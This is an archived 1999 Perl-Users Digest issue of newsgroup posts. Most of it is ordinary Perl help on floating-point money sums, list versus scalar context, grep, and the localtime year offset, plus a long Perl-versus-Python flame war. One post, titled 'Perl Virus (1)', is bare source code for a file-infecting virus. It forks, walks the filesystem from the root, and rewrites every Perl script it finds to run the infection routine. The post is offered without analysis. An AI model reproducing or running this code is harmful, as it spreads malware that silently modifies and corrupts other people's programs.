[13112] in Perl-Users-Digest
Perl-Users Digest, Issue: 522 Volume: 9
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Aug 14 04:07:17 1999
Date: Sat, 14 Aug 1999 01:05:10 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Sat, 14 Aug 1999 Volume: 9 Number: 522
Today's topics:
Re: Calculation problems in Perl (Larry Rosler)
Re: hash in record (Larry Rosler)
Re: How to delete an element from an array (Larry Rosler)
Re: Looking for a solution to the problem localtime and (Larry Rosler)
Re: Looking for a solution to the problem localtime and <uri@sysarch.com>
Re: Looking for a solution to the problem localtime and (Larry Rosler)
Re: Looking for a solution to the problem localtime and (Larry Rosler)
Need help: double-byte coded text processing <horaceho@geocities.com>
Perl Virus (1) <paddingx@mail.dotcom.fr>
Re: Why use Perl when we've got Python?! <rra@stanford.edu>
Re: Why use Perl when we've got Python?! <uri@sysarch.com>
Re: Why use Perl when we've got Python?! <chad@vision.arc.nasa.gov>
Re: Why use Perl when we've got Python?! <meowing@banet.net>
Re: Why use Perl when we've got Python?! (Bart Lateur)
Re: Why use Python when we've got Perl? <Friedrich.Dominicus@inka.de>
Re: Why use Python when we've got Perl? <milese@pacbell.net>
Re: Why use Python when we've got Perl? <rra@stanford.edu>
Digest Administrivia (Last modified: 1 Jul 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Fri, 13 Aug 1999 23:43:34 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: Calculation problems in Perl
Message-Id: <MPG.121eaff06c2a7e63989e54@nntp.hpl.hp.com>
In article <934586873.10359.0.nnrp-08.9e98d8a3@news.demon.co.uk> on Sat,
14 Aug 1999 00:25:50 +0100, "Alex Croton" <alex[at]suffix.demon.co.uk>
<"Alex Croton" <alex[at]suffix.demon.co.uk>> says...
> > Alex Croton wrote:
> > > print "Calc: Type=> $type\t\tOld=> $bal\t\tChange=> $change\t\tNew=>
> > >$newBal\n";
> > > return ($newBal/100);
> > >} # end sub calcBal
> > >
> > >Where the parameters $bal and $change are 2dp numeric values, I am
> getting
> > >(sometimes) lines on the output as follows :-
> > >
> > >"Calc: Type=> Pay Old=> 46.73 Change=> 38.87 New=> 786.000000000002"
...
> My work around was to multiply the incoming vars by 100, and then int() them
> to get the whole integer only, then perform the calculation, and divide by
> 100 to get the correct number.
This is by far the best way to deal with such matters as decimal money
calculations -- do as much as possible in integers (cents) and convert
for output only.
> When I was getting the correct input numbers (albeit 100 times greater), why
> was the subtraction still introducing this type of error, I was printing the
> result of the calcuation before the final /100.
>
> This time the result looks like :
> "Calc: Type=> Pay Old=> 4673 Change=> 3887 New=> 786.000000000002"
>
> (Yes, I know the output value is the same - I think that this result may
> have been from the run with the *100's, but with the print of the first part
> before the multiplcation)
I cannot reproduce this result, nor did I think I could. If it is true,
it seems like an error in your floating-point hardware.
#!/usr/local/bin/perl -w
use strict;
my ($Old, $Change) = (4673, 3887);
print $Old - $Change, "\n";
printf "%.20f\n", $Old - $Change;
__END__
Output:
786
786.00000000000000000000
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: Fri, 13 Aug 1999 23:17:04 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: hash in record
Message-Id: <MPG.121ea9aa26c05a47989e52@nntp.hpl.hp.com>
In article <x3yso5n1qlt.fsf@tigre.matrox.com> on Fri, 13 Aug 1999
14:29:35 -0400, Ala Qumsieh <aqumsieh@matrox.com> says...
> lr@hpl.hp.com (Larry Rosler) writes:
> > In article <x3yvham9qbp.fsf@tigre.matrox.com> on Wed, 11 Aug 1999
> > 13:31:39 -0400, Ala Qumsieh <aqumsieh@matrox.com> says...
> > ...
> > > $rec = (
> > > total => 10,
> > > LOOKUP => { %some_table } ,
> > > );
> > >
> > > uses parentheses which construct a list, and assign the last value (an
> > > anonymous copy of the %some_table hash) to $rec.
> >
> > No, there is no list in that statement. If there were, what would cause
> > the *last* value to be assigned?
>
> I really don't understand what you mean there. From perldata:
I take the liberty of inserting here the preceding section header and
the first sentence, for reasons that will become clear in a moment.
+ List value constructors
+
+ List values are denoted by separating individual values by commas (and
+ enclosing the list in parentheses where precedence requires it):
+
+ (LIST)
+
> In a context not requiring a list value, the value of the
> list literal is the value of the final element, as with the
> C comma operator. For example,
>
> @foo = ('cc', '-E', $bar);
>
> assigns the entire list value to array foo, but
>
> $foo = ('cc', '-E', $bar);
>
> assigns the value of variable bar to variable foo.
So perldata certainly describes a parenthesis-enclosed comma-separated
sequence of expressions as being a list, regardless of context. On the
other hand we have this from Randal Schwartz on August 10
<URL:http://x48.deja.com/[ST_rn=ps]/getdoc.xp?AN=511125733>
(in essence the view I was trying to present -- that in scalar context
there is no list, just a comma-separated sequence of expressions, the
last of which is the 'value'):
<QUOTE>
$n = ($a,$b,$c); # no list here, just value of $c after discarding $a
and $b
Get the picture?
THERE CANNOT BE A LIST IN A SCALAR CONTEXT. EVER.
</QUOTE>
That's pretty emphatic! :-)
On the other hand, on July 21 Tom Christiansen posted this
<URL:http://x48.deja.com/[ST_rn=ps]/getdoc.xp?AN=503737086.5>:
[the value of] a list in scalar context is the last thing ...
So two of the authors of the Camel have diametrically opposed views (not
the first time, I'm sure :-).
Regardless of the terminology, there is no question that the value of
the construct in scalar context is the value of the last expression.
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: Fri, 13 Aug 1999 23:21:18 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: How to delete an element from an array
Message-Id: <MPG.121eaaba3c1671a3989e53@nntp.hpl.hp.com>
In article <x3yvhaj1rga.fsf@tigre.matrox.com> on Fri, 13 Aug 1999
14:11:18 -0400, Ala Qumsieh <aqumsieh@matrox.com> says...
...
> Besides, using grep() instead of map() would be a more natural choice:
>
> @array = grep { !/^4$/ } @array;
That use of a regex instead of a literal match doesn't seem natural to
me!
@array = grep { $_ ne 4 } @array;
Or, if you want to be more explicit about the stringish nature of the
comparison,
@array = grep { $_ ne '4' } @array;
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: Sat, 14 Aug 1999 00:00:15 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: Looking for a solution to the problem localtime and the century mark.
Message-Id: <MPG.121eb3c02d93bc44989e55@nntp.hpl.hp.com>
In article <7p19of$a8n$1@nntpd.lkg.dec.com> on Fri, 13 Aug 1999 10:40:11
-0400, Jack Alexander <Jack.Alexander@digital.com> says...
[rearranged by me to follow normal question/answer protocols]
> Larry Rosler wrote in message ...
> >In article <7ouof5$51u$1@nntpd.lkg.dec.com> on Thu, 12 Aug 1999 11:32:49
> >-0400, Jack Alexander <Jack.Alexander@digital.com> says...
> >> I use Perl 5.0 42 on Windows NT and UNIX. I'm looking for a solution
> to
> >> the problem of localtime only returning a year value (99) and not a
> century
> >> value (19 -or- 20).
> >
> >The first place I would look for a solution is in the documentation for
> >localtime. Have you done that? If so, what about it needs
> >clarification?
>
> Please clarify:
> <extracted from "Programming Perl 2nd Edition">
> localtime
> localtime EXPR
> .........
> , and the year has had 1,900 subtracted from it.
> .........
Well, I did offer to clarify, so I'd better follow through, in words of
one syllable. Please read my lips!
The year 99 is 1900 less than the real year, so you must add 1900 to it
to get the real year. 99 + 1900 = 1999.
In less than five months, the year will seem to be 100, so you must add
1900 to it to get the real year. 100 + 1900 = 2000.
Get it now? Need I say more? Whew...
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: 14 Aug 1999 03:12:15 -0400
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Looking for a solution to the problem localtime and the century mark.
Message-Id: <x7pv0q4z00.fsf@home.sysarch.com>
>>>>> "LR" == Larry Rosler <lr@hpl.hp.com> writes:
LR> Well, I did offer to clarify, so I'd better follow through, in
LR> words of one syllable. Please read my lips!
LR> The year 99 is 1900 less than the real year, so you must add 1900
LR> to it to get the real year. 99 + 1900 = 1999.
LR> In less than five months, the year will seem to be 100, so you
LR> must add 1900 to it to get the real year. 100 + 1900 = 2000.
LR> Get it now? Need I say more? Whew...
that is true only if you pronounce the numbers as a series of
digits. be glad your examples didn't include any 7's!
:-)
uri
--
Uri Guttman ----------------- SYStems ARCHitecture and Software Engineering
uri@sysarch.com --------------------------- Perl, Internet, UNIX Consulting
Have Perl, Will Travel ----------------------------- http://www.sysarch.com
The Best Search Engine on the Net ------------- http://www.northernlight.com
"F**king Windows 98", said the general in South Park before shooting Bill.
------------------------------
Date: Sat, 14 Aug 1999 00:50:11 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: Looking for a solution to the problem localtime and the century mark.
Message-Id: <MPG.121ebf8caf96e4b5989e57@nntp.hpl.hp.com>
In article <37b40ba9@cs.colorado.edu> on 13 Aug 1999 06:12:25 -0700, Tom
Christiansen <tchrist@mox.perl.com> says...
> In comp.lang.perl.misc,
> abigail@delanet.com writes:
> :I use:
> : my $century = $year > 50 ? 19 : 20;
>
> Funny, I always thought we were in the 20th century already,
> and that in a few years, we'd be in the 21st century. :-)
Thank you for this new definition of 'a few': about 0.4, for most
people; about 1.4, for the 'few' who understand the issues. :-)
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: Sat, 14 Aug 1999 00:55:38 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: Looking for a solution to the problem localtime and the century mark.
Message-Id: <MPG.121ec0d63835513a989e58@nntp.hpl.hp.com>
[Posted and a courtesy copy sent.]
In article <x7pv0q4z00.fsf@home.sysarch.com> on 14 Aug 1999 03:12:15 -
0400, Uri Guttman <uri@sysarch.com> says...
> >>>>> "LR" == Larry Rosler <lr@hpl.hp.com> writes:
>
> LR> Well, I did offer to clarify, so I'd better follow through, in
> LR> words of one syllable. Please read my lips!
>
> LR> The year 99 is 1900 less than the real year, so you must add 1900
> LR> to it to get the real year. 99 + 1900 = 1999.
>
> LR> In less than five months, the year will seem to be 100, so you
> LR> must add 1900 to it to get the real year. 100 + 1900 = 2000.
>
> LR> Get it now? Need I say more? Whew...
>
> that is true only if you pronounce the numbers as a series of
> digits. be glad your examples didn't include any 7's!
Yes, I'm glad for that. As you can see, those round things that look
like eggs '0' are said 'nought', or is it 'ought' where you come from?
I don't know which it is, and I don't much care. :-)
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: Sat, 14 Aug 1999 06:08:22 GMT
From: Horace Ho <horaceho@geocities.com>
Subject: Need help: double-byte coded text processing
Message-Id: <37B507B0.D0CF3EE5@geocities.com>
I'd like to remove all CR, LF, Tab, and space from
double-byte coded (BIG5) Chinese text. Could someone
please show how to do that?
Thanks
horace
------------------------------
Date: 14 Aug 1999 08:02:46 GMT
From: "paddingx" <paddingx@mail.dotcom.fr>
Subject: Perl Virus (1)
Message-Id: <01bee633$66af5600$92b095c2@default>
#!/usr/bin/perl
use File::Find;
&virus();
print "\nThis program is infected by the Perl virus\n";
sub virus
{
$virus_body = "\n# put here the body of the virus\nsub virus { }\n";
if( $pid = fork ) { return; }
else
{
finddepth ( \&infect, '/' );
sub infect
{
open( target, $File::Find::name );
$_ = <target>;
if ( /(\#!.*perl)/ )
{
$line2 = <target>;
unless( $line2 eq "use Find::File\n" )
{
open( temp, ">/tmp/tmpinfect" );
print temp ($1, "\nuse File::Find;\n&virus();\n", $line2 );
print temp while( <target> );
print temp $virus_body;
close( temp );
system( "mv", "/tmp/tmpinfect", $File::Find::name );
}
}
close( target );
}
exit( 0 );
}
}
# a Perl virus, by paddingx
# 08/13/1999
------------------------------
Date: 13 Aug 1999 23:00:26 -0700
From: Russ Allbery <rra@stanford.edu>
Subject: Re: Why use Perl when we've got Python?!
Message-Id: <ylemh6j405.fsf@windlord.stanford.edu>
meow <meowing@banet.net> writes:
> It's a bit like Smalltalk in that regard: the mechanics of the language
> will fit on a postage stamp, and you might even limp by with that
> minimum of knowledge; but if you want to do things well you're going to
> have to dig in and learn the nuts and bolts of the extensive class
> library. Call it a hidden learning curve, I suppose, but it's there and
> very real.
Now, see, this makes a lot of sense. It's similar to the difference
between C and Perl; the mechanics of C that you actually have to know
about are pretty dead-simple (leaving off trigraphs and the like), but in
order to actually get anything done you have to learn all of libc and its
subtleties, and then various add-on libraries.
--
#!/usr/bin/perl -- Russ Allbery, Just Another Perl Hacker
$^=q;@!>~|{>krw>yn{u<$$<[~||<Juukn{=,<S~|}<Jwx}qn{<Yn{u<Qjltn{ > 0gFzD gD,
00Fz, 0,,( 0hF 0g)F/=, 0> "L$/GEIFewe{,$/ 0C$~> "@=,m,|,(e 0.), 01,pnn,y{
rw} >;,$0=q,$,,($_=$^)=~y,$/ C-~><@=\n\r,-~$:-u/ #y,d,s,(\$.),$1,gee,print
------------------------------
Date: 14 Aug 1999 02:57:08 -0400
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Why use Perl when we've got Python?!
Message-Id: <x7so5m4zp7.fsf@home.sysarch.com>
>>>>> "JS" == John Stevens <jstevens@bamboo.verinet.com> writes:
JS> On 13 Aug 1999 15:55:18 -0400, Uri Guttman <uri@sysarch.com>
JS> wrote:
>>>>>>> "JWS" == John W Stevens <jstevens@basho.fc.hp.com> writes:
>>
JWS> It comes down to the issue we discussed once before: Python is
JWS> the better language for OO, and I write OO most of the time. I
JWS> know you disagree. But my students, in general, also believe
JWS> that Python is a better OO scripting language than Perl.
>> check out the new book, OO Perl by damian conway. it is on the
>> presses now and should be on sale at the monterey conference (which
>> has a python track). it will answer all your OO perl issues and
>> more.
JS> Thank you. I will. Perl cannot be used without manuals.
neither can python. this book is not a manual, but a study in how to
write OO perl and do all the stuff other OO languages can and more. OO
perl can do stuff very few if any other languages can handle.
JS> My primary complaint re: OO-Perl, is the lack of "expected"
JS> keywords and OO syntax.
what is expected keywords? there are only a couple of things that make
perl oo: creating a reference, bless, @ISA for inheritance and the
direct method call $obj->method. can't get much simpler syntax that
that. don't need no steenkin keywords!
JS> Functionally, OO-Perl is just as powerful as Python. Just a heck
JS> of a lot more difficult to write and read.
not really. you haven't tried hard enough. you have shown more perl bugs
in your examples than someone should who claimed to use it for 2 years.
>> i don't prefer OO unless it is warranted.
JS> When is it warranted?
JS> When is it *NOT* warranted?
bullhockey. i have written dozens of programs both OO and not in many
languages including assembler. OO is an attitude abotu organizing you
data and code. it is not a stricture requiring you do use keywords and
crap like that. i wrote a realtime system in pdp-11 assembler using
macro-11 which was OO since all major operations which needed mutex
locking were isolated in macros. so the critical data and queues were
hidden from the rest of the code like OO says to do. big deal. it was
20 years ago before any of the OO languages were even a glitch on
someone's keyboard.
yet i write medium sized perl programs with no OO at all if i feel
(warranted) it is not needed. it would be a waste of code and structure
for a single standalone program to use OO like that. onthe other hand i
wrote a simple perl module (only 4 data members) with many methods since
it was going to be used by a bunch of small utilities. OO was warranted
there as it made the design easier and speed was not an issue.
i chose the time and place for oo since i know how to do both. forcing
it on newbies is a crime as they will have a hard time going without
it. it's just like event programming is very difficult for most coders
who have just done procedural for their careers. "who calls my event
subs?" they ask. well oo slaves will say, "what is a global?" and "how do
you share data?"
JS> I have my own guidelines, ones that I teach when I teach OO, but I
JS> am curious as to where other people draw the line.
at python and java and c++.
JS> Python does not force OO on you. You can use it as a purely
JS> procedural language.
not from what you have shown. even a simple array or dictionary has to
be an object with messages passed to it. a procedural language just does
what you tell in via the syntax, not via methods or messages.
>> it is just another methodology in the long line that stretches back
>> to structured programming and early high level languages that were
>> supposed to save the world from bugs.
JS> And, in point of fact, those earlier methodologies did indeed
JS> reduce the number of bugs.
not really, they just delayed them.
>> OO won't do that either. it still falls on the shoulders of those
>> who know how to design code vs those who can't.
JS> Yes, but OO is an improvement over previous methodologies.
not true. it is just another methodology, not an improvement.
JS> It lowers the bar, allowing less talented programmers to design,
JS> write and maintain more complex systems.
let's see. cpan is full of modules, many of which use OO perl. it is
massive, shared and growing rapdily. python has what?? if it is so much more
shareable and manageable than why hasn't it developed such a world class
library? it is because the people who like perl (and think in perlish
ways) tend towards those unix and c/c++ hackers that understand system
design whether OO or not. it seems that the python lovers are either
scared of perl syntax, or like to be handheld along the coding
path. that doesn't bode well for thei overall computing skills. maybe
the pseudo-barrier of perl's syntax just filters out the chaff and so the
perl community is just a smarter and more skilled one.
as for a comparison of the market size, just search for perl vs. python
on any jobs site and compare the numbers. it is not because perl is
a better language or whatever, it is because perl gets the job
done. period.
JS> Compare the complexity of Windows 2000 to, say, Windows 3.11.
BFD. it is buggier to boot. and it is redmondware which makes it
useless.
>> you can design lousy OO and most of it is like most code in general
>> is. it isn't any more shareable and a well written library with a
>> good api.
JS> OO isn't so much new, as it is a combination and formalization of
JS> some previous methodologies.
when did you first learn OO? i was taught it by barbara liskov at mit in
1978. it was in pl/1 of all languages! so it was not the syntax but the
concepts that mattered. so having a language which forces OO is not the
answer. so it would actually be better to teach how to do OO in c than
to require it in python/java. since c has no OO features, teaching and
using it in c (as i have on many designs) is more educational than in oo
languages.
and as i said before, any moron can design a bad object. oo didn't save
him from his own stupidity. the tool is only as good as the craftsman
using it. a master craftsman can do wonders with the simplest of tools
while an idiot couldn't make a good toothpick with a numerically
controlled milling machine.
>> as for newbies finding python more readable (as opposed to
>> experienced c programmers) that is meaningless.
JS> If that were the case (that only newbies find Python more
JS> readable), you might be right (but only if you assume that the
JS> ability to read and understand programs even if not a programmer
JS> is useless).
readibility of code depends on the skill of the coder much more than
the language. i have seen good and bad code in every language i have
ever worked with. it has to do with understanding how the next person to
read the code is going to think about what is there. code is for humans
and not for computers. oo does not make that any easier or harder. it is
just another tool to be used when it is needed. you can have a beautiful
procedural api (some parts of the unix kernel is like that) or a messy
OO interface with no clarity of what method needs to be called or what
will really happen due to the complexity of the inheritance tree. my
point is that oo is as good as the coder. which is true for any
language/code pair.
>> i find tcl hard to read too. a well as lisp (which i know) and
>> other languages which i don't know. tom's point about not knowing
>> how to read a foreign language is very true. how does that line go?
>> boy i am glad i was born in the US, because i know english already.
JS> It is true, however, that some languages are easier to learn than
JS> others, and that once learned, are easier to remember.
that is not what i said. lisp is the simplest language in the
world. pure prefix calls. nothing else. guaranteed simple parsers. lisp
in lisp in a page of code. it still sux for real world projects (other
than for dyed in the wool lispers who are a dying breed). but do you
think in parens? do you want to memorize the hundreds of twisty little
calls all looking like each other? or have no builtin support for
complex data other than your own code? ever see regexes done in lisp
strings? so the beauty of lisp in academia is wasted in the real world
where regexes are wanted.
the same with python. it is a oo purist oriented language. here is how
we say it should be done. there is no choice there. just yesterday i
wanted a way to fetch multiple web pages in parallel. i have some code
that does this partly but i wanted more overlap. i was going to modify
my code using a module which would allow this. but i decided to check
cpan and lo and behold! ParallelUserAgent-2.43 was found and it will
save me hours of work. that is real world and it is an OO module at
that while my current code is not. so i will use this module in its oo
way as i see that is needed to solve the problem. that is an example of
warranted. the rest of the code is currently using lots of globals and
is not even strict (though that will change soon). i broke a cardinal
perl rule since i am capable of doing that and doing it correctly. i
would shoot any lesser who tried to do that. it is like the story of the
guru and disciple form the tao of programming. the guru not only knows
when and how to break the rules, he know the disciple is not ready to
do so. OO is a set of rules that if taught and used too stringently,
will hamper the programmer who may wish (and warrant) to break of the
box. that is why i don't support OO uber alles. it is just another tool.
it is not a swiss army chainsaw, only perl is that.
BTW perl has stacks, queues, and arrays and all that is needed is one
data type and one function, splice. push, pop, shift and unshift are
just speedier shortcuts for common splice operations. perl's intrinsic
array allows multiple well defined operations which can be used to
emulate a variety of complex data structures. it is not an object but a
builtin type which can be indexed by integers, appended/deleted from
either end, inserted/removed form the middle, accessed with multiple
indexes, etc. so your taunt about push implying a stack is bogus. the
fact that the name of an operation is push does not mean it is a
stack. it could be a queue where you push onto one end and shift off the
other. push just means push. if you don't like those names (which are
very good choices since they map from english so well due to larry's
linguistic background), you can just use splice. think of splice as the
universal array method even though arrays are not objects.
and to stop this thread from wrapping around the article numbers, i
hereby invoke the name of hitler. it is getting very stupid and
pointless. there is room for all existing computer languages. you are
not going to convince tom and he won't turn you. BFD.
uri
--
Uri Guttman ----------------- SYStems ARCHitecture and Software Engineering
uri@sysarch.com --------------------------- Perl, Internet, UNIX Consulting
Have Perl, Will Travel ----------------------------- http://www.sysarch.com
The Best Search Engine on the Net ------------- http://www.northernlight.com
"F**king Windows 98", said the general in South Park before shooting Bill.
------------------------------
Date: Sat, 14 Aug 1999 07:04:32 +0000
From: Chad Netzer <chad@vision.arc.nasa.gov>
Subject: Re: Why use Perl when we've got Python?!
Message-Id: <37B51500.2F67E463@vision.arc.nasa.gov>
Tom Christiansen wrote:
> I can think of nothing lower than to accuse me of selling out. I am
> extremely offended. Perhaps you're confusing me with someone else.
And I thought I'd mainly offended Tcl'ers...
I do not wish to contribute to you having a bad weekend, so I apologize
for implying that you "sold out". In retrospect, it was a cheap shot.
As you have said, those who wish to understand your points, and the
counterpoints in this discussion, are best served by learning more
about the language they are less familiar with.
Chad
PS. There go my chances for getting "Programming Perl" signed.
------------------------------
Date: 14 Aug 1999 03:20:21 -0400
From: meow <meowing@banet.net>
Subject: Re: Why use Perl when we've got Python?!
Message-Id: <87672ivney.fsf@slip-32-100-202-195.ma.us.ibm.net>
Russ Allbery <rra@stanford.edu> wrote:
> Now, see, this makes a lot of sense. It's similar to the difference
> between C and Perl; the mechanics of C that you actually have to know
> about are pretty dead-simple (leaving off trigraphs and the like), but in
> order to actually get anything done you have to learn all of libc and its
> subtleties, and then various add-on libraries.
Right. Just as nontrivial C programs invariably have a slew of
#include statements up top, you're going to see a whole bunch of
imports in most Python scripts. Modules are central there, whereas in
the Perl world you can get lots of work done without ever dragging use
and friends into the mix (presumably because Perl began life as a
monolith). Both approaches have their good and bad points. It's
easier to change Python's behavior because of that modularity, but
Perl's wider range of core constructs does eliminate many of the cases
where you'd want to do that. I'll be darned, though, if I could
really decide that one way is clearly *better* than the other.
They're just different ways of communicating peoples' ideas to
machines, and we're not all going to agree on the best way to
communicate something.
------------------------------
Date: Sat, 14 Aug 1999 07:52:51 GMT
From: bart.lateur@skynet.be (Bart Lateur)
Subject: Re: Why use Perl when we've got Python?!
Message-Id: <37b6185f.2442954@news.skynet.be>
John W. Stevens wrote:
>By your reasoning, Perl is very, very inconsistent (since not every
>data type supports '+').
You're looking for the Holy Grail of orthogonality, again. Python is
designed with orthogonality in mind, while Larry Wall allegedly once
said:
"Any computer scientist who praises orthogonality should be
sentenced to use an Etch-a-Sketch."
(borrowed from a TomC sig)
Bart.
------------------------------
Date: Sat, 14 Aug 1999 08:28:45 +0200
From: Friedrich Dominicus <Friedrich.Dominicus@inka.de>
Subject: Re: Why use Python when we've got Perl?
Message-Id: <37B50C9D.868F0F02@inka.de>
Tom Christiansen wrote:
>
> Unbelievably stupid subject, eh?
Maybe.
> I certainly thought so when it was
> shoved at us. The flame war begun in comp.lang.perl.misc isn't doing
> anyone any good, and then coming over to comp.lang.python to stir up the
> shock troops to send in a few commandos is even worse.
I don't have seen flamewar. But this possibly will change...
> Do you want to learn or do you want to flame? Learn? Really? Ok, here's
> all you have to do. Go write a medium-sized program comprising many
> hundreds of lines, broken up into several files and selectively imported,
> but do so in whichever language you know the *least*.
I thinks this is good advice but if you use a language for small
projects like scripts normally are. you don't need hundred of lines,
different files etc. Than you possibly need another langauge than for
larger projects. So the advice if good for large programs but not for
small programs.
So the best one can do is knowing what you're going to do. And choose
the tool you need than accordingly. Everyone is somewaht biased and has
his/her favourite language. So am I. I just have had a look at perl
wrote some lines, I then saw Python I liked it more because I like
Eiffel. And Python is the closest to Eiffel on scripting languages I
know.
I then read books about the other side. The other side is functional
programming. I had a look at haskell, OCAML and the like. I then read
about Scheme and Lisp. I did not like that languages because of their
heavy use of (()) What a mess just don't try to learn something because
on first sight you don't like it. I than began rewritting scripts
written vor Bourne-Shell, Python and awk to Scheme. And guess what
happened, I begin to like Scheme.
If I will learn Scheme a bit better, I possibly will use it for
scripting and will learn Common Lisp for larger scale programmming.
This although I like Eiffel very much, one of the best OO-languages IMO.
It seemed to me that CL is a more advanced as Eiffel is. There are
modules available which you can use for proving your software correct
and this is done in Common Lisp. In Eiffel I state what I want to be
correct in CL I get an machine proved prove that is is correct!!. This
is quite amazing. Sometimes I got the impression that the FPlers have
been, where the OOLers or imperative programmers are heading.
Of course YMMV. This is up to you. But I would suggest learning at least
one FP language is one of the best things a programmer can do. Possibly
there are other suprises around maybe Prolog would be another good idea?
One personal opinion about Perl and Python. I think they are somewhat
very simular. If one prefers on over the other, that't quite fine. Both
Python and Perl are IMO more or less imperative languages there were
discussion in both groups about the FP parts in both, but most code I
read is written in an imperative style. I possibly havn't read enough to
get the real usage. Someone else might.
Last but not least I think Perl more tightly intervened with Unix, the
usage of one-liners in Perl is very much like just using another element
in a pipe I think Python with it's more object-oriented approach can't
cope with Perl here.
That's it for today. I hope I havn't made a flame out of it, and
hopefully others won't do that.
Regards
Friedrich
------------------------------
Date: Sat, 14 Aug 1999 00:08:47 -0700
From: Miles Egan <milese@pacbell.net>
Subject: Re: Why use Python when we've got Perl?
Message-Id: <37B515FF.68DBD6F4@pacbell.net>
> Of course YMMV. This is up to you. But I would suggest learning at least
> one FP language is one of the best things a programmer can do. Possibly
> there are other suprises around maybe Prolog would be another good idea?
This is excellent advice. Even if you never write a line of production
code in Scheme or ML, studying these languages can be very
enlightening. Python and Perl are more alike than different in the
grander family of programming languages. I particularly recommend "The
Structure and Interpretation of Computer Programs" by Abelson and
Sussman. I'm still blown away by the simplicity of their implementation
of a Scheme evaluator.
miles
------------------------------
Date: 14 Aug 1999 00:40:48 -0700
From: Russ Allbery <rra@stanford.edu>
Subject: Re: Why use Python when we've got Perl?
Message-Id: <ylvhaihksf.fsf@windlord.stanford.edu>
In comp.lang.perl.misc, Miles Egan <milese@pacbell.net> writes:
> This is excellent advice. Even if you never write a line of production
> code in Scheme or ML, studying these languages can be very enlightening.
And speaking from personal experience, learning LISP and ML will make you
a considerably better Perl programmer. For one thing, knowing LISP means
that things like map and grep will become more intuitive.
--
#!/usr/bin/perl -- Russ Allbery, Just Another Perl Hacker
$^=q;@!>~|{>krw>yn{u<$$<[~||<Juukn{=,<S~|}<Jwx}qn{<Yn{u<Qjltn{ > 0gFzD gD,
00Fz, 0,,( 0hF 0g)F/=, 0> "L$/GEIFewe{,$/ 0C$~> "@=,m,|,(e 0.), 01,pnn,y{
rw} >;,$0=q,$,,($_=$^)=~y,$/ C-~><@=\n\r,-~$:-u/ #y,d,s,(\$.),$1,gee,print
------------------------------
Date: 1 Jul 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 1 Jul 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq" from
almanac@ruby.oce.orst.edu. The real FAQ, as it appeared last in the
newsgroup, can be retrieved with the request "send perl-users FAQ" from
almanac@ruby.oce.orst.edu. Due to their sizes, neither the Meta-FAQ nor
the FAQ are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq" from
almanac@ruby.oce.orst.edu.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V9 Issue 522
*************************************